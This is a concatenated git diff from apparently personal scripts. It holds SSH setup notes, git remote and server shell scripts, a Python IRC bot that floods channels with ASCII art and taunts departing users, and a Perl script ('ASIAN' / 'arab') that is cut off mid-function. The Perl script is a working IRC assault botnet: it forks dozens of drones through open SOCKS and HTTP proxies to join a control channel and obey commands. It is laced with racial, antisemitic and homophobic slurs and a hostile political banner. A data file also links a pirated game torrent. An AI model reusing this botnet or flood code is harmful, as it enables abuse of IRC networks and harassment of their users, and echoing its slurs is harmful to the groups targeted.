+###### Using Knockd
+Download & install the [knockd](http://www.zeroflux.org/projects/knock) package.
+
+* `knock -v example.server.com 8881:tcp 7777:tcp 9991:tcp`
+
+### Jump Hosts
+* `ssh -J <jumphost> <host>`
+
+The `<jumphost>` option can be `user@host`, `user@host:port` or an host setup in your `~/.ssh/config`.
+
+Multiple jump hosts can be used in a comma *(no spaces)* separated list.
+
+The same applies for the `<host>` option, except to change the port, either use the `-p <port>` option at the end or use a host setup in your `~/.ssh/config`.
+
+or...
+
+* nano `~/.ssh/config`:
+```
+Host jumpbox
+    HostName jump.server.com
+
+Host targetbox
+	...
+    ProxyJump jumpbox1
+	...
+```
+
+Multiple jump hosts can be used in the `ProxyJump` option in a comma *(no spaces)* separated list.
+
+Connect to your target host with `ssh targetbox`
+
+---
+
+## Sources
+* https://wiki.archlinux.org/index.php/Port_knocking
+* https://wiki.archlinux.org/index.php/SSH_keys
+* https://wiki.mozilla.org/Security/Guidelines/OpenSSH
+* https://www.openssh.com/manual.html
+* https://stribika.github.io/2015/01/04/secure-secure-shell.html
diff --git a/gitremote.sh b/gitremote.sh
@@ -0,0 +1,14 @@
+#!/bin/sh
+set -e
+for u in $HOME/dev/git/*/; do
+	for d in $(find $u -name .git -type d -prune | sort); do
+		u=$(basename $u)
+		r=$(basename -s .git `git --git-dir $d config --get remote.origin.url`)
+		echo "updating $r..."
+		git -C $d remote remove origin
+		git -C $d remote add origin git@github.com:$s/$r.git
+		git -C $d remote set-url --add --push origin git@github.com:$u/$r.git
+		git -C $d remote set-url --add --push origin git@gitlab.com:$u/$r.git
+		git -C $d remote set-url --add --push origin git@contra:$r.git
+	done
+done
+\ No newline at end of file
diff --git a/gitserver.sh b/gitserver.sh
@@ -0,0 +1,7 @@
+#/bin/sh
+[ ! getent group ssh                       ] && groupadd ssh
+[ ! grep -q /usr/bin/git-shell /etc/shells ] && echo /usr/bin/git-shell >> /etc/shells
+[ ! $(getent passwd git > /dev/null)       ] && userdel -f git
+useradd -d /srv/git -G ssh -k /dev/null -m -s /usr/bin/git-shell -U git
+echo "PUBLICKEY" > /etc/ssh/authorized_keys/git
+mkdir "$1.git" && cd "$1.git" && git -C "$1.git" --bare init chown -R git:git "$1.git"
+\ No newline at end of file
diff --git a/irc/anythinggoes/anythinggoes.py b/irc/anythinggoes/anythinggoes.py
@@ -0,0 +1,265 @@
+# -*- coding: utf-8 -*-
+#!/usr/bin/env python
+# THEGAME IRC Bot - Developed by acidvegas in Python (https://acid.vegas/random)
+import random,socket,ssl,threading,time
+
+# Config
+admin_ident       = 'ak!ak@super.nets'
+channel           = '#anythinggoes'
+nickserv_password = 'CHANGEME'
+operator_password = 'CHANGEME'
+throttle_msg      = 0.15
+
+# Formatting Control Characters / Color Codes
+bold        = '\x02'
+italic      = '\x1D'
+underline   = '\x1F'
+reverse     = '\x16'
+reset       = '\x0f'
+white       = '00'
+black       = '01'
+blue        = '02'
+green       = '03'
+red         = '04'
+brown       = '05'
+purple      = '06'
+orange      = '07'
+yellow      = '08'
+light_green = '09'
+cyan        = '10'
+light_cyan  = '11'
+light_blue  = '12'
+pink        = '13'
+grey        = '14'
+light_grey  = '15'
+
+def color(msg,foreground,background=None):return f'\x03{foreground},{background}{msg}{reset}' if background else f'\x03{foreground}{msg}{reset}'
+def error(msg,reason):print(f'{get_time()} | [!] - {msg} ({reason})')
+def get_time():return time.strftime('%I:%M:%S')
+def random_str(size):return ''.join(random.choice('aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ') for _ in range(size))
+
+class Functions:
+	def banana_bomb():
+		for i in range(random.randint(5,10)):
+			spaces=random.randint(1,120)
+			for line in banana_data:
+				Bot.sendmsg(channel,' '*spaces+line)
+
+	def chat_rain(amount):
+		words = ('ok','tru','same','wow','nice','XD','ok','np','sup','cool','nmu','lol','ah','srry','jk')
+		for i in range(amount):
+			Bot.sendmsg(channel,' '*random.randint(3,25)+random.choice(words)+' '*random.randint(10,50)+random.choice(words)+' '*random.randint(10,50)+random.choice(words))
+
+	def crab_flood(amount):
+		counter=1
+		notify=random.randint(100,999)
+		if amount>=1000000:
+			amount=1000000
+			Bot.sendmsg(channel,color('GENTLEMEN! BEHOLD!',red))
+			Bot.sendmsg(channel,color('THE MILLION CRAB MARCH!',red))
+		for i in range(amount):
+			spaces=random.randint(1,120)
+			for line in crab_data:
+				Bot.sendmsg(channel,' '*spaces+line)
+			counter+=1
+			if counter==notify:
+				spaces=random.randint(1,120)
+				Bot.sendmsg(channel,color(' '*spaces+str(i)+' MOTHER FUCKING CRABS !!!',red))
+				counter=1
+
+	def grave(nick):
+		length=len(nick)
+		Bot.sendmsg(channel,color(' '*(length+8),light_blue,light_blue))
+		Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color('    ',light_blue,light_blue),color(' ',grey,grey),color(' '*length,light_grey,light_grey),color('    ',light_blue,light_blue)))
+		Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color('   ',light_blue,light_blue),color(' ', grey),color(' '*(length+2),light_grey,light_grey),color('   ',light_blue,light_blue)))
+		Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color('   ',light_green,light_green),color(' ', grey),color('R I P'.center(length+2),black,light_grey),color('   ',light_green,light_green)))
+		Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color('   ',green,green),color(' ', grey),color(nick.upper().center(length+2),black,light_grey),color('   ',light_green,light_green)))
+		Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color('   ',green,green),color(' ', grey),color(' '*(length+2),light_grey,light_grey),color('   ',light_green,light_green)))
+		Bot.sendmsg(channel,'{0}{1}{2}{3}{4}'.format(color(' ',light_green,light_green),color('  ',green,green),color(' ',grey),color('2018'.center(length+2),black,light_grey),color('   ', light_green,light_green)))
+		Bot.sendmsg(channel,'{0}{1}{2}{3}{4}'.format(color('  ',light_green,light_green),color(' ',green,green),color(' ',grey),color(' '*(length+2),light_grey,light_grey),color('   ',light_green,light_green)))
+		Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color('   ',light_green,light_green),color(' ', grey),color(' '*(length+2),light_grey,light_grey),color('   ', light_green,light_green)))
+
+	def rain(word,amount):
+		for i in range(amount):
+			Bot.sendmsg(channel,' '*random.randint(3,25)+word+' '*random.randint(10,50)+word+' '*random.randint(10,50)+word)
+
+	def rope(length):
+		spaces=50
+		prev=None
+		for i in range(length):
+			if random.choice((True,False)):
+				if prev!='╱':spaces+=1
+				char='╲'
+			else:
+				if prev!='╲':spaces-=1
+				char='╱'
+			Bot.sendmsg(channel,' '*spaces+char)
+			prev=char
+		Bot.sendmsg(channel,' '*(spaces-2)+'(;))')
+
+	def wave(msg,lines,spaces,hilite):
+		rainbow=['04','08','09','11','12','13']
+		spacer=15
+		spaces+=spacer
+		toggle=True
+		data=list()
+		for i in range(lines):
+			if hilite:
+				Bot.sendmsg(channel,'{0}{1}{2}{3}'.format((Bot.nicks[0]+': ').ljust(spacer),color('░▒▓',rainbow[1]),color(f' {msg} ',rainbow[0],rainbow[1]),color('▓▒░',rainbow[1])))
+				Bot.nicks.append(Bot.nicks.pop(0))
+			else:
+				Bot.sendmsg(channel, '{0}{1}{2}{3}'.format(' '*spacer,color('░▒▓',rainbow[1]),color(f' {msg} ',rainbow[0],rainbow[1]),color('▓▒░',rainbow[1])))
+			rainbow.append(rainbow.pop(0))
+			if toggle:spacer+=1
+			else:spacer-=1
+			if spacer==spaces:toggle=False
+			elif spacer==15:toggle=True
+
+	def worm(length):
+		spacer=random.randint(10,100)
+		Bot.sendmsg(channel,'{0}   {1}{2}'.format(' '*spacer,color('░▒▓',pink),color('▓▒░',pink)))
+		Bot.sendmsg(channel,'{0}  {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('  ',black,pink),color('▓▒░',pink)))
+		Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('    ',black,pink),color('▓▒░',pink)))
+		for i in range(length):
+			Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('      ',black,pink),color('▓▒░',pink)))
+			if random.choice((True,False)):spacer += 1
+			else:spacer-=1
+		Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('_  _',black,pink),color('▓▒░',pink)))
+		Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('o  o',black,pink),color('▓▒░',pink)))
+		Bot.sendmsg(channel,'{0}  {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('  ',black,pink),color('▓▒░',pink)))
+
+class WormNet(threading.Thread):
+	def __init__(self):
+		self.sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+		threading.Thread.__init__(self)
+	def run(self):
+		Bot.wormnet=True
+		try:
+			self.sock.connect(('wormnet1.team17.com',6667))
+			self.raw('PASS ELSILRACLIHP')
+			self.raw('USER Username hostname servername :48 0 US 3.7.2.1')
+			self.raw('NICK SUPERNETS')
+			while True:
+				data=self.sock.recv(1024).decode('utf-8')
+				for line in (line for line in data.split('\r\n') if len(line.split())>=2):
+					Bot.sendmsg_wormnet('raw',cyan,line)
+					args=line.split()
+					if line.startswith('ERROR :Closing Link:'):raise Exception('Connection has closed.')
+					elif args[0]=='PING':self.raw('PONG '+args[1][1:])
+					elif args[1]=='001':self.raw('JOIN '+channel)
+					elif args[1]=='366':Bot.sendmsg_wormnet('join',green,'Joined #anythinggoes channel!')
+		except (UnicodeDecodeError,UnicodeEncodeError):pass
+		except Exception as ex:
+			Bot.sendmsg_wormnet('error',red,'Unknown error occured!',ex)
+			self.sock.close()
+			Bot.wormnet=False
+			Bot.sendmsg_wormnet('disconnected',red,'Lost connection to the WormNet relay!')
+	def raw(self,msg):self.sock.send(bytes(msg+'\r\n','utf-8'))
+	def sendmsg(self,target,msg):self.raw(f'PRIVMSG {target} :{msg}')
+
+class IRC(object):
+	def __init__(self):
+		self.nicks=list()
+		self.echo=False
+		self.sock=None
+		self.wormnet=False
+
+	def connect(self):
+		try:
+			self.sock=ssl.wrap_socket(socket.socket(socket.AF_INET,socket.SOCK_STREAM))
+			self.sock.connect(('irc.supernets.org',6697))
+			self.raw(f'USER THEG 0 * :YOU LOST THE GAME')
+			self.raw('NICK THEGAME')
+			while True:
+				data = self.sock.recv(1024).decode('utf-8')
+				for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
+					print(f'{get_time()} | [~] - {line}')
+					args = line.split()
+					if args[0]=='PING':self.raw('PONG '+args[1][1:])
+					elif args[1]=='001':
+						self.raw('MODE THEGAME +BDd')
+						self.sendmsg('NickServ','IDENTIFY THEGAME '+nickserv_password)
+						self.raw(f'OPER thegame {operator_password}')
+						self.raw('JOIN '+channel)
+					elif args[1]=='433':self.raw('NICK THE_GAME_'+str(random.randint(10,99)))
+					elif args[1]=='353' and len(args)>=6:self.nicks+=' '.join(args[5:])[2:].split()
+					elif args[1]=='JOIN' and len(args)==3:self.raw('NOTICE {0} :Thank you for joining #AnythingGoes, you have {1} memo(s) waiting. Please type /server MemoServ read to check your messages.'.format(args[0].split('!')[0][1:],color(random.randint(1,3),red)))
+					elif args[1]=='PART' and len(args)>=3:
+						self.sendmsg(args[2],color('EMO-PART DETECTED',red))
+						self.sendmsg(args[0].split('!')[0][1:],'bet u wont come back pussy...')
+					elif args[1]=='PRIVMSG' and len(args)>=4:
+						ident=args[0][1:]
+						nick=args[0].split('!')[0][1:]
+						chan=args[2]
+						msg= ' '.join(args[3:])[1:]
+						if chan==channel:self.event_message(ident,nick,chan,msg)
+					elif args[1]=='QUIT':Functions.grave(args[0].split('!')[0][1:])
+		except(UnicodeDecodeError,UnicodeEncodeError):pass
+		except:self.sock.close()
+		time.sleep(15)
+		self.connect()
+
+	def event_message(self,ident,nick,chan,msg):
+		args=msg.split()
+		if msg[:1]=='!':
+			if msg=='!bananabomb':Functions.banana_bomb()
+			elif msg=='!crate':
+				for line in crate_data:self.sendmsg(channel,line)
+			elif msg=='!echo':
+				self.echo=False if self.echo else True
+			elif msg=='refresh':
+				self.nicks=list()
+				self.raw('NAMES #anythinggoes')
+			elif msg=='!wormnet' and not self.wormnet and ident==admin_ident:WORMS.start()
+			elif msg=='!worms':
+				for line in worms_data:self.sendmsg(channel, line)
+			elif len(args)==2:
+				if args[1].isdigit():
+					amount=int(args[1])
+					if args[0]=='!chatrain':
+						if amount<=100 or ident==admin_ident:Functions.chat_rain(amount)
+						else:self.sendmsg(chan,'Max: 100')
+					elif msg.startswith('!crabflood'):
+						if amount<=10 or ident==admin_ident:Functions.crab_flood(amount)
+						else:self.sendmsg(chan,'Max: 10')
+					elif msg.startswith('!rope'):
+						if amount<=100 or ident==admin_ident:Functions.rope(amount)
+						else:self.sendmsg(chan,'Max: 100')
+					elif msg.startswith('!worm'):
+						if amount<=100 or ident==admin_ident:Functions.worm(amount)
+						else:self.sendmsg(chan,'Max: 100')
+			elif args[0]=='!rain' and len(args)>=3:
+				amount=args[1]
+				data=' '.join(args[2:])
+				if args[1].isdigit():
+					if int(args[1])<=100 or ident==admin_ident:Functions.rain(data,int(args[1]))
+					else:self.sendmsg(chan,'Max: 100')
+			elif args[0] in ('!wave','!wavehl') and len(args)>=4:
+				lines =args[1]
+				spaces=args[2]
+				data=' '.join(args[3:])
+				if lines.isdigit() and spaces.isdigit():
+					if int(lines)<=100 or ident==admin_ident:
+						if args[0]=='!wave':
+							Functions.wave(data,int(lines),int(spaces),False)
+						else:
+							Functions.wave(data,int(lines),int(spaces),True)
+					else:self.sendmsg(chan,'Max: 100')
+		elif self.echo:self.sendmsg(chan,msg)
+
+	def raw(self,msg):self.sock.send(bytes(msg+'\r\n','utf-8'))
+	def sendmsg(self,target,msg):
+		time.sleep(throttle_msg)
+		self.raw(f'PRIVMSG {target} :{msg}')
+	def sendmsg_wormnet(self,title,title_color,msg,extra=None):
+		if extra:self.sendmsg(channel,'[{0}] [{1}] {2} {3}'.format(color('WORMNET',pink),color(title,title_color),msg,color('({0})'.format(extra),grey)))
+		else:self.sendmsg(channel,'[{0}] [{1}] {2}'.format(color('WORMNET',pink),color(title,title_color),msg))
+
+# Main
+banana_data=open('data/banana.txt').readlines()
+crab_data=open('data/crab.txt').readlines()
+crate_data=open('data/crate.txt').readlines()
+worms_data=open('data/worms.txt').readlines()
+Bot=IRC()
+WORMS=WormNet()
+Bot.connect()
diff --git a/irc/anythinggoes/data/banana.txt b/irc/anythinggoes/data/banana.txt
@@ -0,0 +1,4 @@
+ 8".           ,#
+ 8\ `-._____,-'=/
+  8`._ ----- _,'
+     8`-----'
diff --git a/irc/anythinggoes/data/crab.txt b/irc/anythinggoes/data/crab.txt
@@ -0,0 +1,10 @@
+     ,        ,
+    /(_,    ,_)\
+    \ _/    \_ /
+    //        \\
+    \\ (@)(@) //
+     \'=\"==\"='/
+ ,===/        \===,
+\",===\        /===,\"
+\" ,==='------'===, \"
+ \"                \"
diff --git a/irc/anythinggoes/data/crate.txt b/irc/anythinggoes/data/crate.txt
@@ -0,0 +1,11 @@
+7,7                         
+7,7  7,2   7,7   7,4        7,7    7,2   7,7  
+5,7   5,2 5,7  7 7,4   7,7    7,4   7,7    7,2 7,7   
+1,7|||5|1,5|1,7|||7,4  1,7|||1,5|7,4   1,7||1,5|1,7|||||
+1,7|||5|1,5|1,7|||1,5|1,7|||7,4    1,7|||1,5|1,7|||||
+1,7||||1,5|1,7|||1,5|1,7||7,4   1,7|||||1,5|1,7|||||
+1,7||||1,5|1,7|||1,5|1,7||7,4   1,7|||||1,5|1,7|||||
+1,7||||1,5|1,7|||1,5|1,7||||1,5|1,7|||||1,5|1,7|||||
+7,7   7,2 7,7       7,4   7,7       7,2 7,7   
+7,7  7,2   7,7               7,2   7,7  
+7,7
+\ No newline at end of file
diff --git a/irc/anythinggoes/data/worms.txt b/irc/anythinggoes/data/worms.txt
@@ -0,0 +1,22 @@
+4,1Worms Armageddon 0                                                                                                                                
+0,1                                                                                                                                                 
+0,1[13Installation & Setup0]                                                                                                                           
+0,011. Torrent & install Worms Armageddon                                                                                                            
+0,1	14-0 12http://thepiratebay.org/torrent/12392765/Worms_Armageddon_3.7.2.1_[no-Steam]0                                                                  
+0,1                                                                                                                                                 
+0,012. Download WormNAT2 & place the DLL files from it into the "C:\Program Files (x86)\Worms Armageddon" directory.                                 
+0,1	14-0 12http://worms.thecybershadow.net/wormkit/wkWormNAT2.zip0                                                                                        
+0,1                                                                                                                                                 
+0,013. Start the game, open the options screen, click "Advanced" & make sure "Load Wormkit modules" is checked.                                      
+0,1                                                                                                                                                 
+0,1Note: If you get an error about save data when you start worms you have to edit the worms directory folder permissions to have full write access.
+0,1                                                                                                                                                 
+0,1[13Useful Resources0]                                                                                                                               
+14,1•0 Torrent Mirror 12https://www.pyrex.pw/files/worms/worms.torrent0                                                                                  
+14,1•0 Maps & Schemes 12https://www.pyrex.pw/files/worms/worms-maps-schemes.zip0                                                                         
+14,1•0 Mod Pack	      12https://www.pyrex.pw/files/worms/worms-mods.zip0                                                                                      
+14,1•0 Worms Wiki	  12http://worms2d.info/Worms_Armageddon0                                                                                               
+0,1                                       12   0                                                                                                       
+0,1[13Credits0]                                                                                                                                        
+0,1 14-0 TEAM WORMSEC OK                                                                                                                               
+0,1 14-0 irc.supernets.org (6667/+6697) #anythinggoes
diff --git a/irc/asian-arab.pl b/irc/asian-arab.pl
@@ -0,0 +1,577 @@
+#!/usr/bin/perl
+#
+#
+
+# {{{ original copyrights & info
+
+# This is proxysuite, written in GNU/PURL
+# by Jmax, of bantown and the GNAA.
+# It gathers and tests proxies, both http and socks4
+
+# This product is licensed under the BPL.
+# You should have recieved a copy of the
+# license with this program
+
+# el8 tr0ll c0dez by Jmax [ BANTOWN irc.bantown.com #bantown ] [ GNAA irc.gnaa.us #gnaa ]
+
+
+# ASIAN 2.0 by Jmax
+#
+# I have made many modifications:
+#  - Use of command line arguments as opposed to editing the script itself.
+#  - Adding a SOCKS routine, instead of using Net::SOCKS (no non-standard modules will be required)
+#  - Adding a random nick/fullname/ircname routine, instead of using Crypt::RandPasswd (no non-standard modules will be required)
+#  - Improved fork routine/library
+
+# Must be run on a POSIX-compliant system, with perl.
+# note that there's a bug in the way that COMPUTER MACHINEZ COMPUTE,
+# and therefore proxies can't be shared between forks.  Oh well.
+
+# The original header (for historical reasons)
+# is as follows (NOTE: syntax here is _incorrect_):
+# -----------------------------------------------
+# ASIAN by Rucas
+# Automated Synchronous IRC Assault Network
+# Based on AYSYN by mef
+#
+# Make sure to put a SOCKS5 proxy list in proxies.txt in the same
+# directory as this script.  If you'd like to use tor, you can put
+# the correct info on one line in proxies.txt and this app will
+# still function properly (although generally tor sucks)
+#
+# All bots join $g_channel and are issued raw irc commands from there
+# using syntax "all PRIVMSG Rucas lol you fail it" for all bots or
+# "botname PRIVMSG Rucas lol failure" and such.
+#
+# Testing of an early version of this script is the reason that
+# Freenode now checks for open SOCKS proxies.
+# -----------------------------------------------
+
+# }}}
+
+use warnings;
+use strict;
+
+use IO::Socket;
+use IO::Handle;
+use POSIX qw(:signal_h :sys_wait_h);  # fork
+
+use Time::HiRes;
+# use Data::Dumper;
+
+use vars qw($VERSION);
+$VERSION = "3.0";
+
+
+# {{{ globals
+
+my ($g_forkcount, $g_pid) = (0, undef);
+my ($g_dead_nigger_storage, $g_maxfork) = (0, 40);
+
+my ($g_network, $g_channel);
+
+# }}}
+
+# {{{ signal handlers
+
+$SIG{INT} = sub { kill('INT', (getpgrp(0) * -1)) && exit; };
+$SIG{CHLD} = sub { $g_dead_nigger_storage++ while(($g_pid = waitpid(-1, WNOHANG)) > 0); };
+
+# }}}
+
+
+# {{{ entry point
+
+error("please run using the --help argument") unless $ARGV[0];
+if ($ARGV[0] eq '--help') {
+  show_usage(); exit 0;
+} elsif ($ARGV[0] eq '--version') {
+  show_version(); exit 0;
+} else {
+  error("please run using the --help argument") unless $ARGV[1];
+  $g_network = $ARGV[0];
+  $g_channel = $ARGV[1];
+}
+
+# }}}
+
+# {{{ help/usage information
+
+sub show_help {
+  print "arab $VERSION by vxp\n".
+        "!!! THIS ASIAN 2.1 BY JMAX HACKED BY HIZBULLAH !!!\n".
+        "!!!       STOP SUPPORTING ISRAELI DOGS         !!!\n".
+        "Based on code & ideas by Jmax, Rucas, abez and mef.\n".
+        "\n".
+        "\n".
+        "  Invocation:\n".
+        "      perl ".__FILE__." server \"#channel\"\n".
+        "\n".
+        "    XXX, and \"#channel\" is the control channel you want the bots\n".
+        "    to join. Please note that some shells will interpret the # in\n".
+        "    \"#channel\" as acomment, and will not send it to the script.\n".
+        "    In this case, you may either use quotes, or escape the '#'.\n".
+        "    I prefer quotes.\n".
+        "    Note that a list of (nick|user|real) names is expected to reside\n".
+        "    in ./names.txt\n".
+        "\n".
+        "\n".
+        "  Usage:\n".
+        "      all <raw IRC command> [space-delimited arguments] :[arguments with spaces]\n".
+        "      <botname> <raw IRC command> [space-delimited arguments] :[arguments with spaces]\n".
+        "      <botname>,<botname2>,... <raw IRC command> [space-delimited arguments] :[arguments with spaces]\n".
+        "\n".
+        "    Simply privmsg your command to the control channel, and the respective bots will follow.\n".
+        "\n".
+        "  Examples:\n".
+        "      <~supers> all join #gnaa gnaa\n".
+        "        All bots will join #gnaa using the key 'gnaa'\n".
+        "      <~supers> all privmsg #gnaa :LOL HY LOL HY\n".
+        "        All bots will say \"LOL HY LOL HY\" in #gnaa\n".
+        "      <\@Rucas> fgtbot2235 nick NOT_FGT_LOL_GIMME_VOICE\n".
+        "        The bot with the nick 'fgtbot2235' will change its nick to 'NOT_FGT_LOL_GIMME_VOICE'\n".
+        "      <\@Jmax> NOT_FGT_LOL_GIMME_VOICE,dongs,loljews,nullo_is_a_fag_LOL part #gnaa :lol jews\n".
+        "        The bots with the nicks 'NOT_FGT_LOL_GIMME_VOICE', 'dongs', 'loljews', and 'nullo_is_a_fag_LOL'\n".
+        "        will part #gnaa with reason 'lol jews'\n".
+        "\n".
+        "\n".
+        "    Enjoy. -- vxp\n";
+}
+
+# }}}
+
+# {{{ version information
+
+sub show_version {
+  print "arab $VERSION by vxp\n".
+        "!!! THIS ASIAN 2.1 BY JMAX HACKED BY HIZBULLAH !!!\n".
+        "!!!       STOP SUPPORTING ISRAELI DOGS         !!!\n".
+        "Based on code & ideas by Jmax, Rucas, abez and mef.\n".
+        "\n";
+}
+
+# }}}
+
+
+# load the proxy and name list(s)
+my @g_proxies = load_proxy_list();
+my @g_names = load_name_list();
+
+
+# resolve the host name of the specified target ircd
+# and cache it in a shared variable
+my ($g_server_host, @g_server_ip);
+$g_server_host = $ARGV[0];
+@g_server_ip = resolve($g_server_host);
+
+
+# fork(2) off up to $g_maxfork child processes to use as
+# a pool for subsequent connection attempts
+notice("Initializing (forking) bots");
+for ($g_forkcount = 0;                  # $g_forkcount must _not_
+     $g_forkcount < $g_maxfork;         # be local to here
+     $g_forkcount++) {
+  sleep 1;                              # so we don't overload ourselves
+
+  if (!defined(my $g_pid = fork())) {   # fork
+    error("couldn't fork: $!");         # die if fork fails
+  } elsif ($g_pid == 0) {
+    # in child:
+    while (@g_proxies) {
+      # grab a random proxy off the list...
+      my $proxy_slot = int rand @g_proxies;
+      my $proxy = $g_proxies[$proxy_slot];
+
+      # ...attempt to establish a connection through it and
+      # join a drone into the control channel on success.
+      if(spawn_bot($proxy->{ip}, $proxy->{port}, $proxy->{type},
+                   @g_server_ip, $g_server_host)) {
+        # succeeded
+      } else {
+        # failed, delete proxy
+        # XXX: not shared
+        #delete $g_proxies[$proxy_slot];
+      };
+
+      sleep 10;   # to prevent throttling by IRCd
+    }
+    exit 0;
+
+  } else {
+    # in parent:
+
+  }
+}
+
+sleep while ($g_dead_nigger_storage < $g_maxfork);
+exit 666;
+
+
+# {{{ load lists
+
+sub load_proxy_list {
+  my (@proxies);
+
+  error("$@") unless push @proxies, load_socks4_list();
+  error("$@") unless push @proxies, load_socks5_list();
+  error("$@") unless push @proxies, load_http_list();
+  return @proxies;
+}
+
+sub load_socks4_list {
+  my (@proxies);
+
+  open SOCKSFILE, "<", "./socks4.txt" or error("could not open SOCKS 4 proxy file socks4.txt: $!");
+  while (<SOCKSFILE>) {
+    chomp;
+    my ($ip, $port) = /([^:]+):([0-9]+)/;
+    push @proxies, ({ip => $ip, port => $port, type => '4'});
+  }
+  close(SOCKSFILE) or error("could not close SOCKS 4 proxy file socks4.txt: $!");
+
+  notice("acquired ". scalar(@proxies) ." SOCKS 4 prox(y|ies).");
+  return (@proxies);
+}
+
+sub load_socks5_list {
+  my (@proxies);
+
+  open SOCKSFILE, "<", "./socks5.txt" or error("could not open SOCKS 5 proxy file socks5.txt: $!");
+  while (<SOCKSFILE>) {
+    chomp;
+    my ($ip, $port) = /([^:]+):([0-9]+)/;
+    push @proxies, ({ip => $ip, port => $port, type => '5'});
+  }
+  close(SOCKSFILE) or error("could not close SOCKS 5 proxy file socks5.txt: $!");
+
+  notice("acquired ". scalar(@proxies) ." SOCKS 5 prox(y|ies).");
+  return (@proxies);
+}
+
+sub load_http_list {
+  my (@proxies);
+
+  open HTTPFILE, "<", "./http.txt" or error("could not open HTTP proxy file http.txt: $!");
+  while (<HTTPFILE>) {
+    chomp;
+    my ($ip, $port) = /([^:]+):([0-9]+)/;
+    push @proxies, ({ip => $ip, port => $port, type => 'h'});
+  }
+  close(HTTPFILE) or error("could not close HTTP proxy file http.txt: $!");
+
+  notice("acquired ". scalar(@proxies) ." http prox(y|ies).");
+  return (@proxies);
+}
+
+sub load_name_list {
+  my (@names);
+
+  open NAMESFILE, "<", "./names.txt" or error("could not open (nick|user|real) name list file names.txt: $!");
+  while (<NAMESFILE>) {
+    chomp;
+    push @names, $_;
+  };
+  close(NAMESFILE) or error("could not close (nick|user|real) name list file names.txt: $!");
+
+  notice("acquired ". scalar(@names) ." (nick|user|real) name(|s).");
+  return (@names);
+}
+
+# }}}
+
+# {{{ wrappers/tools
+
+sub iptoipstr {
+  my ($ip) = $_;
+  my $d = $ip % 256; $ip -= $d; $ip /= 256;
+  my $c = $ip % 256; $ip -= $c; $ip /= 256;
+  my $b = $ip % 256; $ip -= $b; $ip /= 256;
+  my $a = $ip;
+  my $ipstr = "$a.$b.$c.$d";
+  return $ipstr;
+}
+
+sub notice {
+  my $notice = shift;
+  print ">>>> ". $notice ."\n";
+  return;
+}
+
+sub incoming {
+  my ($nick, $line, $server) = @_;
+  #printf("IRCd >>>> %-12s  ] %s\n", $nick, $line);
+  return;
+}
+
+sub outgoing {
+  my ($nick, $line, $server) = @_;
+  #printf("IRCd <<<< %-12s  ] %s\n", $nick, $line);
+  return;
+}
+
+sub warning {
+  my $warning = shift;
+  print "!!!! ". $warning ."\n";
+  return;
+}
+
+sub error {
+  my $error = shift;
+  print "!!!! ". $error ."\n";
+  exit 0;
+}
+
+# }}}
+
+# {{{ per-drone logic
+
+sub spawn_bot { # only return 0 if the proxy failed.  Otherwise, return 1;
+  my ($proxy_ip, $proxy_port, $proxy_type,
+      $remote_ip, $remote_host) = @_;
+  my $nick = $g_names[int rand @g_names];
+  my ($ident, $realname) = ($nick, $nick);
+  my ($line, $sock, $altsock);
+  my ($pingtime) = -1;
+
+  eval {
+    local $SIG{ALRM} = sub { die "alarm\n" }; # NB: \n required
+    alarm 5;
+    $sock = connect_to_proxy($proxy_ip, $proxy_port, $proxy_type,
+                             $remote_ip, 6667);
+    alarm 0;
+  };
+  if ($@) {
+    error("unkown error: $@") unless $@ eq "alarm\n"; # propagate unexpected errors
+    #warning("$proxy_ip:$proxy_port not responding, removing from list");
+    #return 0;
+  }
+
+  $sock = connect_to_proxy($proxy_ip, $proxy_port, $proxy_type,
+                           $remote_ip, 6667);
+  return 0 unless $sock;
+
+  print $sock "NICK $nick\r\n";
+  outgoing($nick, "NICK $nick");
+  print $sock "USER $ident * * :$realname\r\n";
+  outgoing($nick, "USER $ident * * :$realname");
+ 
+  while ($line = <$sock>) {
+    chomp $line;
+    # MIGHT WANNA ADJUST THESE vv
+    next if $line =~ /372/; # ignore motd msgs
+    incoming($nick, $line);
+    last if $line =~ /376|422/; # end of motd or no motd
+    return 0 if $line =~ /BANNED/i;
+    return 0 if $line =~ /ERROR.*G.lined/i;
+    return 0 if $line =~ /ERROR.*K.lined/i;
+    return 1 if $line =~ /ERROR/i;
+    return 1 if $line =~ /432/;
+    return 1 if $line =~ /433/;
+    # MIGHT WANNA ADJUST THESE ^^
+    if ($line =~ /PING (.*)$/) {
+      print $sock "PONG $1\r\n";
+    }
+  }
+  print $sock "JOIN $g_channel\r\n";
+  outgoing($nick, "JOIN $g_channel");
+  notice("connected to $remote_host as $nick!$ident ($proxy_ip:$proxy_port:$proxy_type)");
+  while ($line = <$sock>) {
+    chomp $line;
+    if ($line =~ /PING (.*)$/) {
+      print $sock "PONG $1\r\n";
+    } elsif ($line =~ /PONG/) {
+      if($pingtime != -1) {
+        print $sock "PRIVMSG $g_channel :PONG received after ". Time::HiRes::tv_interval($pingtime,[Time::HiRes::gettimeofday]) ." secs\r\n";
+        $pingtime = -1;
+      }
+    } elsif ($line =~ /PRIVMSG $g_channel :\.status/i) {
+      print $sock "PRIVMSG $g_channel :I'm $nick on $remote_host via $proxy_ip:$proxy_port (type: $proxy_type)\r\n";
+    } elsif ($line =~ /PRIVMSG $g_channel :\.ping/i) {
+      $pingtime = [Time::HiRes::gettimeofday];
+      print $sock "PING :$pingtime\r\n";
+    } elsif ($line =~ /PRIVMSG $g_channel :\.randnick/i ||
+             $line =~ /432/ || $line =~ /433/) {
+      incoming($nick, $line);
+      $nick = $g_names[int rand @g_names];
+      print $sock "NICK $nick\r\n";
